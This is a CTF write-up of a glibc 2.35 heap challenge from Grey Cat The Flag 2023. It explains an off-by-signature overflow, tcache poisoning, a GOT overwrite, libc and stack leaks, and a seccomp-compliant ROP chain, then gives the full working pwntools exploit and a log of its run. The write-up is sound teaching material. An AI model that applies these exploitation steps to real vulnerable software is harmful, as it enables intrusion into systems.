Write me a book

Write me a Book 349

Give back to the library! Share your thoughts and experiences!

The flag can be found in /flag

Elma

nc 34.124.157.94 12346

Write me a book is a heap challenge I did during the Grey Cat The Flag 2023 Qualifiers. You can find the tasks and the exploit here.

TL;DR

To manage to read the flag we have to:

  • create overlapping chunks due to an oob write vulnerability in rewrite_books
  • tcache poisoning thanks to the overlapping chunks
  • Overwrite the first entry of @books to then be able to rewrite 4 entries of @books by setting a large size.
  • With the read / write primitives of @books we leak &stdout@glibc and environ, this way getting a libc and stack leak.
  • This way we can simply ROP over a given stackframe.

General overview

Let’s take a look at the protections and the version of the libc:

$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ checksec --file ./libc.so.6 
[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

So a very recent one with standards protections. Then let’s take a look at the binary:

$ checksec --file chall
[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/greyctf/pwn/writemeabook/dist/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)
    RUNPATH:  b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'
$ seccomp-tools dump ./chall
Welcome to the library of hopes and dreams!

We heard about your journey...
and we want you to share about your experiences!

What would you like your author signature to be?
> aa

Great! We would like you to write no more than 10 books :)
Please feel at home.
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

The binary isn’t PIE based and does have a seccomp that allows only read, write, open and exit. Which will make the exploitation harder (but not that much).

Code review

The main looks like this:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  puts("Welcome to the library of hopes and dreams!");
  puts("\nWe heard about your journey...");
  puts("and we want you to share about your experiences!");
  puts("\nWhat would you like your author signature to be?");
  printf("> ");
  LODWORD(author_signature) = ' yb';
  __isoc99_scanf("%12s", (char *)&author_signature + 3);
  puts("\nGreat! We would like you to write no more than 10 books :)");
  puts("Please feel at home.");
  secure_library();
  write_books();
  return puts("Goodbye!");
}

We have to give a signature (12 bytes max) sorted in author_signatures, then the program is allocating a lot of chunks in secure_library. Finally it calls write_books which contains the main logic:

unsigned __int64 write_books()
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int fav_num; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      __isoc99_scanf("%d", &choice);
      getchar();
      if ( choice != 1337 )
        break;
      if ( !secret_msg )
      {
        printf("What is your favourite number? ");
        __isoc99_scanf("%d", &fav_num);
        if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] )
          printf("You found a secret message: %p\n", slot[2 * fav_num - 2]);
        secret_msg = 1;
      }
LABEL_19:
      puts("Invalid choice.");
    }
    if ( choice > 1337 )
      goto LABEL_19;
    if ( choice == 4 )
      return v3 - __readfsqword(0x28u);
    if ( choice > 4 )
      goto LABEL_19;
    switch ( choice )
    {
      case 3:
        throw_book();
        break;
      case 1:
        write_book();
        break;
      case 2:
        rewrite_book();
        break;
      default:
        goto LABEL_19;
    }
  }
}

There are basically three handlers:

  • 1337, we can leak only one time the address of a given allocated chunk.
  • 4 returns.
  • 3 free a chunk.
  • 1 add a book.
  • 2 edit a book.

Let’s take a quick look at each handler, first the free handler:

unsigned __int64 throw_book()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to throw your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] )
  {
    free(slot[2 * --v1]);
    slot[2 * v1] = 0LL;
    puts("Your book has been thrown!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v2 - __readfsqword(0x28u);
}

It only checks is the entry exists and if the index is in the right range. if it does it frees the entry and zeroes it.

Then, the add handler:

unsigned __int64 write_book()
{
  int idx2; // ebx
  _QWORD *v1; // rcx
  __int64 v2; // rdx
  int idx; // [rsp+4h] [rbp-4Ch] BYREF
  size_t size; // [rsp+8h] [rbp-48h]
  char buf[32]; // [rsp+10h] [rbp-40h] BYREF
  char v7; // [rsp+30h] [rbp-20h]
  unsigned __int64 v8; // [rsp+38h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to insert your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] )
  {
    puts("Invaid slot!");
  }
  else
  {
    --idx;
    memset(buf, 0, sizeof(buf));
    v7 = 0;
    puts("Write me a book no more than 32 characters long!");
    size = read(0, buf, 0x20uLL) + 0x10;
    idx2 = idx;
    slot[2 * idx2] = malloc(size);
    memcpy(slot[2 * idx], buf, size - 0x10);
    v1 = (char *)slot[2 * idx] + size - 0x10;
    v2 = qword_4040D8;
    *v1 = *(_QWORD *)author_signature;
    v1[1] = v2;
    books[idx].size = size;
    puts("Your book has been published!\n");
  }
  return v8 - __readfsqword(0x28u);
}

We can allocate a chunk between 0x10 and 0x20 + 0x10 bytes and after we wrote in it the signature initially choose at the begin of the execution is put right after the end of the input.

Finally comes the handler where lies the vuln, the edit handler:

unsigned __int64 rewrite_book()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  int idx; // [rsp+Ch] [rbp-14h] BYREF
  ssize_t v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("\nAt which index of the shelf would you like to rewrite your book?");
  printf("Index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] )
  {
    --idx;
    puts("Write me the new contents of your book that is no longer than what it was before.");
    v4 = read(0, slot[2 * idx], books[idx].size);
    v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4);
    v1 = qword_4040D8;
    *v0 = author_signature;
    v0[1] = v1;
    puts("Your book has been rewritten!\n");
  }
  else
  {
    puts("Invaid slot!");
  }
  return v5 - __readfsqword(0x28u);
}

As you can read there is an out of bound write if we input books[idx].size bytes, indeed given the chunk stores only books[idx].size bytes the signature writes over the current chunk. And most of the time on the header (and especially the size) of the next chunk allocated in memory resulting an overlapping chunk.

Exploitation

Given we can get overlapping chunks we’re able to do tcache poisoning on the 0x40 tcachebin (to deeply understand why I advice you to read the exploit and to run it into gdb). At this point we can simply write the first entry of @books that is stored at a fixed memory area within the binary (no PIE). In this new entry we could write a pointer to itself but with a large size in order to be able to write several entries of @books. When it is done we could write these entries:

    edit(1, pwn.flat([
            # 1==
            0xff, # sz
            exe.sym.stdout, # to leak libc
            # 2==
            0x8, # sz
            exe.got.free, # to do GOT hiijacking
            # 3==
            0x8, # sz
            exe.sym.secret_msg, # to be able to print an entry of @books
            # 4==
            0xff, # sz
            exe.sym.books # ptr to itself to be able to rewrite the entries when we need to do so
        ] + [0] * 0x60, filler = b"\x00"))

This way we can easily leak libc.

Leaking libc

Leaking libc is very easy given we already setup the entries of @books. We can replace free@GOT by puts@plt. This way the next time free will be called on an entry, it will leak the datas towards which the entry points. Which means free(book[1]) leaks the address of stdout within the libc.

STDOUT = 0x21a780

# [...]

def libc_leak_free(idx):
    io.sendlineafter(b"Option: ", b"3")
    io.sendlineafter(b"Index: ", str(idx).encode())
    return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT

# [...]

# libc leak
libc.address = libc_leak_free(1)
pwn.log.success(f"libc: {hex(libc.address)}")

Leaking the stack

Leaking the libc is cool but given the binary has a seccomp we cannot write one_gadgets on __malloc_hook or __free_hook or within the GOT (of the libc or of the binary) because of the seccomp. We have to do a ROPchain, to do so we could use setcontext but for this libc it is made around rdx that we do not control. Or we could simply leak environ to get the address of a stackframe from which we could return. That’s what we gonna do on the rewrite_books stackframe.

def leak_environ(idx):
    io.sendlineafter(b"Option: ", b"3")
    io.sendlineafter(b"Index: ", str(idx).encode())
    return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))

# leak stack (environ)
edit(4, pwn.flat([
        # 1==
        0xff, # sz
        libc.sym.environ # target
    ], filler = b"\x00"))

environ = leak_environ(1)
pwn.log.success(f"environ: {hex(environ)}")

stackframe_rewrite = environ - 0x150
pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")

ROPchain

Everything is ready for the ROPchain, we cannot use mprotect to use a shellcode within the seccomp forbids it. We just have to set the first entry to the stackframe we’d like to hiijack and that’s it, then we just need call edit on this entry and the ROPchain is written and triggered at the return of the function!

rop = pwn.ROP(libc, base=stackframe_rewrite)

# setup the write to the rewrite stackframe
edit(4, pwn.flat([
        # 1==
        0xff, # sz
        stackframe_rewrite # target
    ], filler = b"\x00"))

# ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
rop.call(rop.find_gadget(["syscall", "ret"]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")

print(rop.dump())
print(hex(len(rop.chain()) - 8))

# write and trigger the ROPchain
edit(1, rop.chain())

PROFIT

Finally:

nasm@off:~/Documents/pwn/greycat/writemeabook/dist$ python3 exploit.py REMOTE HOST=34.124.157.94 PORT=12346
[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/chall'                                                                                                 
    Arch:     amd64-64-little  
    RELRO:    Partial RELRO
    Stack:    Canary found                                                                                                                 
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)                                                                                                                      
    RUNPATH:  b'/home/nasm/Documents/pwn/greycat/writemeabook/dist'                                       
[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'                            
    Arch:     amd64-64-little                                                                                   
    RELRO:    Partial RELRO                                                                                                                
    Stack:    Canary found                                                                                                                   
    NX:       NX enabled                                                                                                                        
    PIE:      PIE enabled                                                                                                                         
[*] '/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2' 
    Arch:     amd64-64-little                                                                        
    RELRO:    Partial RELRO                                                                                                                
    Stack:    No canary found                                                                                                                
    NX:       NX enabled                                                                                                                     
    PIE:      PIE enabled                                                                                                                         
[+] Opening connection to 34.124.157.94 on port 12346: Done                                                                               
[+] heap: 0x81a000                                                                                          
[*] Encrypted fp: 0x40484d
[+] libc: 0x7f162182f000                                                                                                                           
[+] environ: 0x7ffe60582c98
[+] stackframe_rewrite: 0x7ffe60582b48
[*] Loaded 218 cached gadgets for '/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6'
0x7ffe60582b48:   0x7f1621874eb0 pop rax; ret                     
0x7ffe60582b50:              0x2 SYS_open
0x7ffe60582b58:   0x7f162185ae51 pop rsi; ret
0x7ffe60582b60:              0x0 O_RDONLY
0x7ffe60582b68:   0x7f16218593e5 pop rdi; ret
0x7ffe60582b70:   0x7ffe60582c28 (+0xb8)
0x7ffe60582b78:   0x7f16218c0396 syscall; ret
0x7ffe60582b80:   0x7f16218bf528 pop rax; pop rdx; pop rbx; ret
0x7ffe60582b88:              0x0 SYS_read
0x7ffe60582b90:            0x100
0x7ffe60582b98:      b'uaaavaaa' <pad rbx>
0x7ffe60582ba0:   0x7f162185ae51 pop rsi; ret
0x7ffe60582ba8:         0x81a000
0x7ffe60582bb0:   0x7f16218593e5 pop rdi; ret
0x7ffe60582bb8:              0x3
0x7ffe60582bc0:   0x7f16218c0396 syscall; ret
0x7ffe60582bc8:   0x7f16218bf528 pop rax; pop rdx; pop rbx; ret
0x7ffe60582bd0:              0x1 SYS_write
0x7ffe60582bd8:            0x100
0x7ffe60582be0:      b'naaboaab' <pad rbx>
0x7ffe60582be8:   0x7f162185ae51 pop rsi; ret
0x7ffe60582bf0:         0x81a000
0x7ffe60582bf8:   0x7f16218593e5 pop rdi; ret
0x7ffe60582c00:              0x1
0x7ffe60582c08:   0x7f16218c0396 syscall; ret
0x7ffe60582c10:   0x7f16218593e5 pop rdi; ret
0x7ffe60582c18:           0x1337 [arg0] rdi = 4919
0x7ffe60582c20:   0x7f16218745f0 exit
0x7ffe60582c28:     b'/flag\x00' b'/flag\x00'
0xde
[*] Switching to interactive mode
Your book has been rewritten!

grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb9\x81\x00\x00\x00\xb8\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x81\x00\x00\x00\x00\x00\x00\x00\xc0\x81\x00\[*] Got EOF while reading in interactive
$ exit
$ 
[*] Closed connection to 34.124.157.94 port 12346
[*] Got EOF while sending in interactive

Conclusion

That was a nice medium heap challenge, even though that was pretty classic. You can find the tasks and the exploit here.

Annexes

Final exploit (with comments):

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn

BINARY = "chall"
LIBC = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/libc.so.6"
LD = "/home/nasm/Documents/pwn/greycat/writemeabook/dist/ld-linux-x86-64.so.2"

# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8  = pwn.p8
u8  = pwn.u8

host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = '''
source /home/nasm/Downloads/pwndbg/gdbinit.py
'''.format(**locals())

HEAP_OFFT = 0x3d10
CHUNK3_OFFT = 0x3d50
STDOUT = 0x21a780

def encode_ptr(heap, offt, value):
    return ((heap + offt) >> 12) ^ value

import subprocess
def one_gadget(filename):
  return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def exp():

    io = start()

    def init(flip):
        io.sendlineafter(b"> ", flip)
    
    def add(idx, data: bytes):
        io.sendlineafter(b"Option: ", b"1")
        io.sendlineafter(b"Index: ", str(idx).encode())
        io.sendlineafter(b"Write me a book no more than 32 characters long!\n", data)

    def edit(idx, data):
        io.sendlineafter(b"Option: ", b"2")
        io.sendlineafter(b"Index: ", str(idx).encode())
        io.sendlineafter(b"Write me the new contents of your book that is no longer than what it was before.\n", data)

    def free(idx):
        io.sendlineafter(b"Option: ", b"3")
        io.sendlineafter(b"Index: ", str(idx).encode())

    def heapLeak(idx):
        io.sendlineafter(b"Option: ", b"1337")
        io.sendlineafter(b"What is your favourite number? ", str(idx).encode())
        io.recvuntil(b"You found a secret message: ")
        return int(io.recvline().replace(b"\n", b"").decode(), 16) - HEAP_OFFT

    def enable_print(idx):
        edit(idx, b"".join([
            pwn.p64(0)
        ]))

    def libc_leak_free(idx):
        io.sendlineafter(b"Option: ", b"3")
        io.sendlineafter(b"Index: ", str(idx).encode())
        return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00")) - STDOUT

    def leak_environ(idx):
        io.sendlineafter(b"Option: ", b"3")
        io.sendlineafter(b"Index: ", str(idx).encode())
        return pwn.unpack(io.recvline().replace(b"\n", b"").ljust(8, b"\x00"))

    init(b"m"*4 + pwn.p8(0x41))

    add(1, b"K"*0x10)
    heap_leak = heapLeak(1)
    pwn.log.success(f"heap: {hex(heap_leak)}")

    # victim
    add(2, b"")
    add(3, b"".join([   b"A"*0x10,
                        pwn.p64(0), # prev_sz
                        pwn.p64(0x21) # fake size
                    ]))
    
    add(4, b"".join([   b"A"*0x10,
                        pwn.p64(0), # prev_sz
                        pwn.p64(0x21) # fake size
                    ]))
    free(4) # count for 0x40 tcachebin = 1

    # chunk2 => sz extended
    edit(1, b"K"*0x20)
    # chunk2 => tcachebin 0x40, count = 2
    free(2)

    # oob write over chunk3, we keep valid header
    add(2, b"".join([   pwn.p64(0)*3,
                        pwn.p64(0x41) # valid size to end up in the 0x40 tcache bin
                    ])) # count = 1

    # chunk3 => 0x40 tcachebin, count = 2
    free(3)

    pwn.log.info(f"Encrypted fp: {hex(encode_ptr(heap_leak, CHUNK3_OFFT, exe.got.printf))}")

    # tcache poisoning
    edit(2, b"".join([   pwn.p64(0)*3,
                         pwn.p64(0x41), # valid size
                         pwn.p64(encode_ptr(heap_leak, CHUNK3_OFFT, exe.sym.books)) # forward ptr
                     ]))

    # dumb
    add(3, b"A"*0x20) # count = 1

    # arbitrary write to @books, this way books[1] is user controlled
    add(4, b"".join([
        pwn.p64(0x1000), # sz
        pwn.p64(exe.sym.books), # target
        b"P"*0x10
    ])) # count = 0

    # we can write way more due to the previous call
    edit(1, pwn.flat([
            # 1==
            0xff, # sz
            exe.sym.stdout, # target
            # 2==
            0x8, # sz
            exe.got.free, # target
            # 3==
            0x8, # sz
            exe.sym.secret_msg, # target
            # 4==
            0xff, # sz
            exe.sym.books # target
        ] + [0] * 0x60, filler = b"\x00"))
    
    # free@got => puts
    edit(2, b"".join([
            pwn.p64(exe.sym.puts)
        ]))
    
    # can print = true
    enable_print(3)

    # libc leak
    libc.address = libc_leak_free(1)
    pwn.log.success(f"libc: {hex(libc.address)}")

    # leak stack (environ)
    edit(4, pwn.flat([
            # 1==
            0xff, # sz
            libc.sym.environ # target
        ], filler = b"\x00"))

    environ = leak_environ(1)
    pwn.log.success(f"environ: {hex(environ)}")

    stackframe_rewrite = environ - 0x150
    pwn.log.success(f"stackframe_rewrite: {hex(stackframe_rewrite)}")

    rop = pwn.ROP(libc, base=stackframe_rewrite)

    # setup the write to the rewrite stackframe
    edit(4, pwn.flat([
            # 1==
            0xff, # sz
            stackframe_rewrite # target
        ], filler = b"\x00"))

    # ROPchain
    rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) # open
    rop.call(rop.find_gadget(["syscall", "ret"]))
    rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) # file descriptor bf ...
    rop.call(rop.find_gadget(["syscall", "ret"]))

    rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) # write
    rop.call(rop.find_gadget(["syscall", "ret"]))
    rop.exit(0x1337)
    rop.raw(b"/flag\x00")

    print(rop.dump())
    print(hex(len(rop.chain()) - 8))

    # write and trigger the ROPchain
    edit(1, rop.chain())
    
    io.interactive()

if __name__ == "__main__":
    exp()